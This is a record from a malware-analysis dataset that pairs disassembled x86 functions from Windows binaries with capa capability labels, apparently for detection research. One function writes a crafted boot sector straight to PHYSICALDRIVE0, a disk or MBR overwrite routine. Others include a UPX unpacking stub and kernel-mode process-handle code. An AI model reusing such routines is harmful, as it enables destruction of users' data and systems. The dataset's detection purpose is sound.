joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5348be
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x534905
call fcn.0053a1ae
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x534905
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x534921
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00534436
mov esi, eax
test edi, edi
je 0x53491f
test ebx, ebx
je 0x53491f
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x53576c
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x59aa4b
call fcn.005569fe
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x535791
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x5357d7
lea ecx, [ebp - 0x10]
call fcn.004283f0
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00534fd7
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040daa0
mov eax, esi
call fcn.00556ad6
ret 8

Function at 0x538eb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x538ef8
call fcn.0053a1ae
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x538ef8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x538f3b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x538f24
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x538f24
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x538f38
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x54d11f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0xfef5f0]
jne 0x54d129
repz ret
jmp fcn.00559acc

Function at 0x568760
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x568791
call fcn.00553887
mov dword [eax], esi
call fcn.00553874
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0054db34
add esp, 0x14
push 0x16
pop eax
jmp 0x5687e6
test dword [ebp + 0xc], 0xfffffff9
jne 0x56876d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x5687be
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0055389a
pop ecx
call fcn.00553874
mov eax, dword [eax]
jmp 0x5687e6
test al, 0x10
jne 0x5687e4
test al, 1
je 0x5687e4
test byte [ebp + 0xc], 2
je 0x5687e4
call fcn.00553887
mov dword [eax], 5
call fcn.00553874
mov dword [eax], 0xd
jmp 0x5687b5
xor eax, eax
pop esi
pop ebp
ret

Function at 0x56c610
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00558735
and dword [ebp - 4], 0
cmp dword [0x104d234], 0
mov ebx, eax
jne 0x56c6c1
push 0xfc7394
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x56c772
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xfc7388
push edi
call esi
test eax, eax
je 0x56c772
push eax
call fcn.005586c3
mov dword [esp], 0xfc7378
push edi
mov dword [0x104d234], eax
call esi
push eax
call fcn.005586c3
mov dword [esp], 0xfc7364
push edi
mov dword [0x104d238], eax
call esi
push eax
call fcn.005586c3
mov dword [esp], 0xfc7348
push edi
mov dword [0x104d23c], eax
call esi
push eax
call fcn.005586c3
pop ecx
mov dword [0x104d244], eax
test eax, eax
je 0x56c6c1
push 0xfc7330
push edi
call esi
push eax
call fcn.005586c3
pop ecx
mov dword [0x104d240], eax
mov eax, dword [0x104d240]
cmp eax, ebx
je 0x56c719
cmp dword [0x104d244], ebx
je 0x56c719
push eax
call fcn.0055873e
push dword [0x104d244]
mov esi, eax
call fcn.0055873e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x56c719
test edi, edi
je 0x56c719
call esi
test eax, eax
je 0x56c710
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x56c710
test byte [ebp - 0xc], 1
jne 0x56c719
or dword [ebp + 0x10], 0x200000
jmp 0x56c752
mov eax, dword [0x104d238]
cmp eax, ebx
je 0x56c752
push eax
call fcn.0055873e
pop ecx
test eax, eax
je 0x56c752
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x56c752
mov eax, dword [0x104d23c]
cmp eax, ebx
je 0x56c752
push eax
call fcn.0055873e
pop ecx
test eax, eax
je 0x56c752
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x104d234]
call fcn.0055873e
pop ecx
test eax, eax
je 0x56c772
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x56c774
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x57b570
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x10
push ebx
mov bl, byte [edx + 8]
cmp bl, 3
je 0x57b71a
mov ecx, dword [esp + 0x20]
push ebp
mov ebp, dword [edx]
push esi
xor esi, esi
push edi
mov dword [esp + 0x24], esi
test bl, 2
je 0x57b5c8
movzx eax, byte [edx + 9]
movzx esi, byte [ecx]
mov edi, eax
sub edi, esi
movzx esi, byte [ecx + 1]
mov dword [esp + 0x10], edi
mov edi, eax
sub edi, esi
movzx esi, byte [ecx + 2]
sub eax, esi
mov esi, dword [esp + 0x24]
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], eax
mov edi, 3
jmp 0x57b5db
movzx eax, byte [ecx + 3]
movzx edi, byte [edx + 9]
sub edi, eax
mov dword [esp + 0x10], edi
mov edi, 1
test bl, 4
je 0x57b5ef
movzx ecx, byte [ecx + 4]
movzx eax, byte [edx + 9]
sub eax, ecx
mov dword [esp + edi*4 + 0x10], eax
inc edi
xor ecx, ecx
xor eax, eax
cmp edi, ecx
jle case.0x57b636.3
jmp 0x57b600
cmp dword [esp + eax*4 + 0x10], ecx
jg 0x57b60c
mov dword [esp + eax*4 + 0x10], ecx
jmp 0x57b611
mov esi, 1
inc eax
cmp eax, edi
jl 0x57b600
cmp si, cx
je case.0x57b636.3
movzx eax, byte [edx + 9]
add eax, 0xfffffffe
cmp eax, 0xe
ja case.0x57b636.3
movzx eax, byte [eax + 0x57b734]
jmp dword [eax*4 + 0x57b720]
mov edx, dword [edx + 4]
mov eax, dword [esp + 0x28]
cmp edx, ecx
jbe case.0x57b636.3
lea esp, [esp]
mov cl, byte [eax]
shr cl, 1
and cl, 0x55
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x57b650
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov edi, dword [edx + 4]
mov edx, dword [esp + 0x10]
mov esi, dword [esp + 0x28]
mov ecx, edx
mov eax, 0xf0
sar eax, cl
mov ebx, 0xf
sar ebx, cl
and al, 0xf0
or al, bl
test edi, edi
jbe case.0x57b636.3
mov edi, edi
mov bl, byte [esi]
mov cl, dl
shr bl, cl
inc esi
and bl, al
sub edi, 1
mov byte [esi - 1], bl
jne 0x57b690
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov esi, dword [esp + 0x28]
imul ebp, edi
xor ebx, ebx
test ebp, ebp
jbe case.0x57b636.3
mov eax, ebx
xor edx, edx
div edi
inc ebx
inc esi
mov cl, byte [esp + edx*4 + 0x10]
shr byte [esi - 1], cl
cmp ebx, ebp
jb 0x57b6b6
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov esi, dword [esp + 0x28]
imul ebp, edi
xor ebx, ebx
test ebp, ebp
jbe case.0x57b636.3
mov edi, edi
xor edx, edx
mov eax, ebx
div edi
movzx ax, byte [esi]
mov ecx, 0x100
imul ax, cx
movzx ecx, byte [esi + 1]
add ax, cx
inc esi
inc ebx
inc esi
movzx ecx, word [esp + edx*4 + 0x10]
shr ax, cl
movzx eax, ax
mov edx, eax
shr edx, 8
mov byte [esi - 2], dl
mov byte [esi - 1], al
cmp ebx, ebp
jb 0x57b6e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x5817f0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0xc
mov eax, dword [0xfef5f0]
xor eax, esp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x18]
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x1c]
cmp eax, 3
jne 0x58187a
movzx eax, word [esi + 0x118]
test ax, ax
jne 0x581826
test byte [esi + 0x230], 1
jne 0x58184e
movzx cx, byte [edi]
cmp cx, ax
jbe 0x58184e
push 0xfcbc40
push esi
call fcn.00574de0
add esp, 8
pop edi
pop esi
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0054d11f
add esp, 0xc
ret
mov dl, byte [edi]
push 1
lea eax, [esp + 0xc]
push eax
push 0xfc9ec8
push esi
mov byte [esp + 0x18], dl
call fcn.005809c0
add esp, 0x10
pop edi
pop esi
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0054d11f
add esp, 0xc
ret
test al, 2
je 0x58190e
movzx ecx, word [edi + 2]
push ecx
lea edx, [esp + 0xc]
push edx
call fcn.0057f9d0
movzx eax, word [edi + 4]
push eax
lea ecx, [esp + 0x16]
push ecx
call fcn.0057f9d0
movzx edx, word [edi + 6]
push edx
lea eax, [esp + 0x20]
push eax
call fcn.0057f9d0
add esp, 0x18
cmp byte [esi + 0x127], 8
jne 0x5818e8
mov cl, byte [esp + 0xc]
or cl, byte [esp + 0xa]
or cl, byte [esp + 8]
je 0x5818e8
push 0xfcbc00
push esi
call fcn.00574de0
add esp, 8
pop edi
pop esi
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0054d11f
add esp, 0xc
ret
push 6
lea edx, [esp + 0xc]
push edx
push 0xfc9ec8
push esi
call fcn.005809c0
add esp, 0x10
pop edi
pop esi
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0054d11f
add esp, 0xc
ret
mov cl, byte [esi + 0x127]
movzx eax, word [edi + 8]
mov edx, 1
shl edx, cl
cmp eax, edx
jl 0x581942
push 0xfcbbc0
push esi
call fcn.00574de0
add esp, 8
pop edi
pop esi
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.0054d11f
add esp, 0xc
ret
push eax
lea eax, [esp + 0xc]
push eax
call fcn.0057f9d0
push 2
lea ecx, [esp + 0x14]
push ecx
push 0xfc9ec8
push esi
call fcn.005809c0
mov ecx, dword [esp + 0x28]
add esp, 0x18
pop edi
pop esi
xor ecx, esp
call fcn.0054d11f
add esp, 0xc
ret
Function at 0x5852c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [edi + 0x24]
push ebp
push esi
mov ebp, dword [edi + 0x34]
sub ebp, dword [edi + 0x6c]
mov eax, dword [edi + 0x64]
mov ecx, dword [edi + 0x24]
lea edx, [ebx + ecx - 0x106]
sub ebp, eax
cmp eax, edx
jb 0x58533e
mov eax, dword [edi + 0x30]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.0054db70
mov edx, dword [edi + 0x44]
mov eax, dword [edi + 0x3c]
sub dword [edi + 0x68], ebx
sub dword [edi + 0x64], ebx
add esp, 0xc
sub dword [edi + 0x54], ebx
lea ecx, [eax + edx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, ebx
jb 0x585311
sub eax, ebx
jmp 0x585313
xor eax, eax
sub edx, 1
mov word [ecx], ax
jne 0x585302
mov ecx, dword [edi + 0x38]
mov edx, ebx
lea ecx, [ecx + ebx*2]
movzx eax, word [ecx - 2]
sub ecx, 2
cmp eax, ebx
jb 0x585332
sub eax, ebx
jmp 0x585334
xor eax, eax
sub edx, 1
mov word [ecx], ax
jne 0x585323
add ebp, ebx
mov esi, dword [edi]
cmp dword [esi + 4], 0
je 0x585399
mov edx, dword [edi + 0x6c]
add edx, dword [edi + 0x64]
mov ecx, ebp
add edx, dword [edi + 0x30]
push edx
call fcn.00584fc0
add dword [edi + 0x6c], eax
mov edx, dword [edi + 0x6c]
add esp, 4
cmp edx, 3
jb 0x585385
mov eax, dword [edi + 0x64]
mov ecx, dword [edi + 0x30]
lea esi, [eax + ecx]
movzx eax, byte [esi]
mov ecx, dword [edi + 0x50]
mov dword [edi + 0x40], eax
shl eax, cl
movzx ecx, byte [esi + 1]
xor eax, ecx
and eax, dword [edi + 0x4c]
mov dword [edi + 0x40], eax
cmp edx, 0x106
jae 0x585399
mov edx, dword [edi]
cmp dword [edx + 4], 0
jne 0x5852c6
pop esi
pop ebp
pop ebx
ret
Function at 0x5867f0
Capabilities:
Compute adler32 checksum

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0xc]
movzx ecx, di
shr edi, 0x10
test esi, esi
jne 0x58680a
pop edi
lea eax, [esi + 1]
pop esi
ret
push ebx
mov ebx, dword [esp + 0x18]
test ebx, ebx
jbe 0x58691a
push ebp
jmp 0x586820
mov eax, ebx
cmp ebx, 0x15b0
jb 0x58682f
mov eax, 0x15b0
sub ebx, eax
cmp eax, 0x10
jl 0x5868db
mov edx, eax
shr edx, 4
mov ebp, edx
neg ebp
shl ebp, 4
add eax, ebp
jmp 0x586850
movzx ebp, byte [esi]
add ecx, ebp
movzx ebp, byte [esi + 1]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 2]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 3]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 4]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 5]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 6]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 7]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 8]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 9]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 0xa]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 0xb]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 0xc]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 0xd]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 0xe]
add edi, ecx
add ecx, ebp
movzx ebp, byte [esi + 0xf]
add edi, ecx
add ecx, ebp
add edi, ecx
add esi, 0x10
sub edx, 1
jne 0x586850
test eax, eax
je 0x5868ed
nop
movzx edx, byte [esi]
add ecx, edx
inc esi
add edi, ecx
sub eax, 1
jne 0x5868e0
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul edx, edx, 0xffff000f
add ecx, edx
mov eax, 0x80078071
mul edi
shr edx, 0xf
imul edx, edx, 0xffff000f
add edi, edx
test ebx, ebx
ja 0x586820
pop ebp
mov eax, edi
pop ebx
shl eax, 0x10
pop edi
or eax, ecx
pop esi
ret
Function at 0x544710
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe7000]
push edi
jmp 0x54472a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x544731
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x544720
mov eax, 1
add ebx, ebx
jne 0x544743
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x544754
jne 0x544773
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x544773
dec eax
add ebx, ebx
jne 0x544760
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x544738
add ebx, ebx
jne 0x54476f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5447c5
xor ecx, ecx
sub eax, 3
jb 0x54478b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5447fa
sar eax, 1
mov ebp, eax
jmp 0x544796
add ebx, ebx
jne 0x544796
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x544764
inc ecx
add ebx, ebx
jne 0x5447a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x544764
add ebx, ebx
jne 0x5447b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5447a6
jne 0x5447c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5447a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5447e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5447d6
jmp 0x544726
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5447e4
add edi, ecx
jmp 0x544726
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x544802
cmp byte [edi], 0x11
jne 0x544802
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x544807
lea edi, [esi + 0x13d000]
mov eax, dword [edi]
or eax, eax
je 0x54487f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a3394]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a3510]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x544834
mov ecx, edi
jns 0x544863
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a3514]
or eax, eax
je 0x544879
mov dword [ebx], eax
add ebx, 4
jmp 0x544851
call dword [esi + 0x1a3524]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5448b0
cmp al, 0xef
ja 0x5448a3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x544885
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x544892
mov ebp, dword [esi + 0x1a3518]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5448e4
sub esp, 0xffffff80
jmp 0x420577
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
call sub.MSVCR90.dll_memset
mov ecx, 0x100
mov esi, 0x402108
lea edi, [ebp - 0x804]
rep movsd dword es:[edi], dword [esi]
add esp, 0xc
mov ecx, 0xff
lea esi, [ebp - 0x804]
lea edi, [ebp - 0x404]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
movsw word es:[edi], word [esi]
push 3
push 0xc0000000
movsb byte es:[edi], byte [esi]
push str..PHYSICALDRIVE0
mov byte [ebp - 0x206], 0x55
mov byte [ebp - 0x205], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [ebp - 0x808]
push ecx
push 0x400
lea edx, [ebp - 0x404]
mov esi, eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.004010c8
mov esp, ebp
pop ebp
ret

Function at 0x4010c8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x4010d2
repz ret
jmp fcn.00401383
Function at 0x106e8
Capabilities:
Find process by pid

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.00010686
push ebx
call 0x458ebb12
clc
push eax
push dword [ebp + 8]
call sub.ntoskrnl.exe_PsLookupProcessByProcessId
mov edi, eax
cmp edi, esi
jl 0x10762
push 0x10882
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
cmp eax, esi
je 0x10759
lea ecx, [ebp - 4]
push ecx
push 1
push dword [eax]
push dword [ebp + 0x10]
push esi
push esi
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov edi, eax
cmp edi, esi
jl 0x10759
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov ecx, dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, edi
pop edi
pop esi
leave
ret 0xc
Function at 0x4010e4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + section.DATA], 0x8088405
inc edx
mov dword [ebx + section.DATA], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x401170
Capabilities:
Encode data using base64

Disassembly:
push esi
push edi
push ebp
add esp, 0xfffffff0
mov dword [esp], ecx
mov edi, eax
mov dword [esp + 8], edx
xor esi, esi
xor ebp, ebp
xor eax, eax
mov edx, dword [esp]
test edx, edx
jns 0x40118f
add edx, 3
sar edx, 2
test edx, edx
jle 0x40129c
mov dword [esp + 0xc], edx
mov edx, 4
lea eax, [esp + 4]
xor ecx, ecx
mov cl, byte [edi + esi]
cmp ecx, 0x3d
jg 0x4011c5
je 0x401205
sub ecx, 0x2b
je 0x4011fb
sub ecx, 4
je 0x401200
dec ecx
sub ecx, 0xa
jb 0x4011ee
jmp 0x401208
add ecx, 0xffffffbf
sub ecx, 0x1a
jb 0x4011d7
add ecx, 0xfffffffa
sub ecx, 0x1a
jb 0x4011e1
jmp 0x401208
mov cl, byte [edi + esi]
sub cl, 0x41
mov byte [eax], cl
jmp 0x401208
mov cl, byte [edi + esi]
sub cl, 0x61
add cl, 0x1a
mov byte [eax], cl
jmp 0x401208
mov cl, byte [edi + esi]
sub cl, 0x30
add cl, 0x34
mov byte [eax], cl
jmp 0x401208
mov byte [eax], 0x3e
jmp 0x401208
mov byte [eax], 0x3f
jmp 0x401208
mov byte [eax], 0xff
inc esi
inc eax
dec edx
jne 0x4011a7
mov al, byte [esp + 4]
shl eax, 2
xor edx, edx
mov dl, byte [esp + 5]
shr edx, 4
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + ebp], al
lea eax, [ebp + 1]
mov dl, byte [esp + 6]
cmp dl, 0xff
je 0x401259
cmp byte [esp + 7], 0xff
jne 0x401259
mov al, byte [esp + 5]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + ebp + 1], al
lea eax, [ebp + 2]
inc ebp
jmp 0x401291
cmp dl, 0xff
je 0x401291
mov al, byte [esp + 5]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + ebp + 1], al
mov eax, dword [esp + 8]
mov dl, byte [esp + 6]
shl edx, 6
or dl, byte [esp + 7]
mov byte [eax + ebp + 2], dl
lea eax, [ebp + 3]
add ebp, 2
inc ebp
dec dword [esp + 0xc]
jne 0x40119e
add esp, 0x10
pop ebp
pop edi
pop esi
ret
Function at 0x401a10
Capabilities:
Allocate or change rwx memory
Read file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffff7cc
mov dword [esp], edx
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.Kernel32.dll_CreateFileW
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0xffffffff
je 0x401bdd
lea eax, [esp + 4]
mov edx, 6
call fcn.004015d8
push 0
lea eax, [esp + 0x20]
push eax
push 6
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x1c]
push eax
call sub.Kernel32.dll_ReadFile
push 0
lea eax, [esp + 0x20]
push eax
movzx eax, word [esp + 0x10]
shl eax, 4
push eax
lea eax, [esp + 0x30]
push eax
mov eax, dword [esp + 0x1c]
push eax
call sub.Kernel32.dll_ReadFile
movzx eax, word [esp + 8]
dec eax
imul eax, eax, 0xe
add eax, 0x14
mov dword [esp + 0x18], eax
push 0x40
push 0x3000
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc
mov ebp, eax
mov ax, word [esp + 8]
mov word [ebp + 4], ax
mov word [ebp], 0
mov word [ebp + 2], 1
movzx edi, word [ebp + 4]
dec edi
test edi, edi
jl 0x401b02
inc edi
xor esi, esi
lea ebx, [esp + 0x24]
mov eax, esi
shl eax, 3
sub eax, esi
lea edx, [ebp + eax*2 + 6]
mov eax, ebx
mov ecx, 0xc
call fcn.0040103c
mov eax, esi
shl eax, 3
sub eax, esi
mov edx, esi
inc edx
mov word [ebp + eax*2 + 0x12], dx
inc esi
add ebx, 0x10
dec edi
jne 0x401ad5
push 0
mov eax, dword [esp + 4]
push eax
call sub.Kernel32.dll_BeginUpdateResourceW
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
push eax
push ebp
push 0
push 1
push 0xe
mov eax, dword [esp + 0x24]
push eax
call sub.Kernel32.dll_UpdateResourceW
movzx edi, word [ebp + 4]
dec edi
test edi, edi
jl 0x401bb8
inc edi
xor esi, esi
lea ebx, [esp + 0x2c]
mov eax, dword [ebx]
mov dword [esp + 0x14], eax
push 0x40
push 0x3000
mov eax, dword [esp + 0x1c]
push eax
push 0
call sub.Kernel32.dll_VirtualAlloc
mov dword [esp + 0x20], eax
push 0
push 0
mov eax, dword [ebx + 4]
push eax
mov eax, dword [esp + 0x18]
push eax
call sub.Kernel32.dll_SetFilePointer
push 0
lea eax, [esp + 0x20]
push eax
mov eax, dword [ebx]
push eax
mov eax, dword [esp + 0x2c]
push eax
mov eax, dword [esp + 0x1c]
push eax
call sub.Kernel32.dll_ReadFile
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x24]
push eax
push 0
lea eax, [esi + 1]
push eax
push 3
mov eax, dword [esp + 0x24]
push eax
call sub.Kernel32.dll_UpdateResourceW
push 0x8000
push 0
mov eax, dword [esp + 0x28]
push eax
call sub.Kernel32.dll_VirtualFree
inc esi
add ebx, 0x10
dec edi
jne 0x401b3c
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.Kernel32.dll_EndUpdateResourceW
mov eax, dword [esp + 0xc]
push eax
call sub.Kernel32.dll_CloseHandle
push 0x8000
push 0
push ebp
call sub.Kernel32.dll_VirtualFree
mov bl, 1
mov eax, ebx
add esp, 0x834
pop ebp
pop edi
pop esi
pop ebx
ret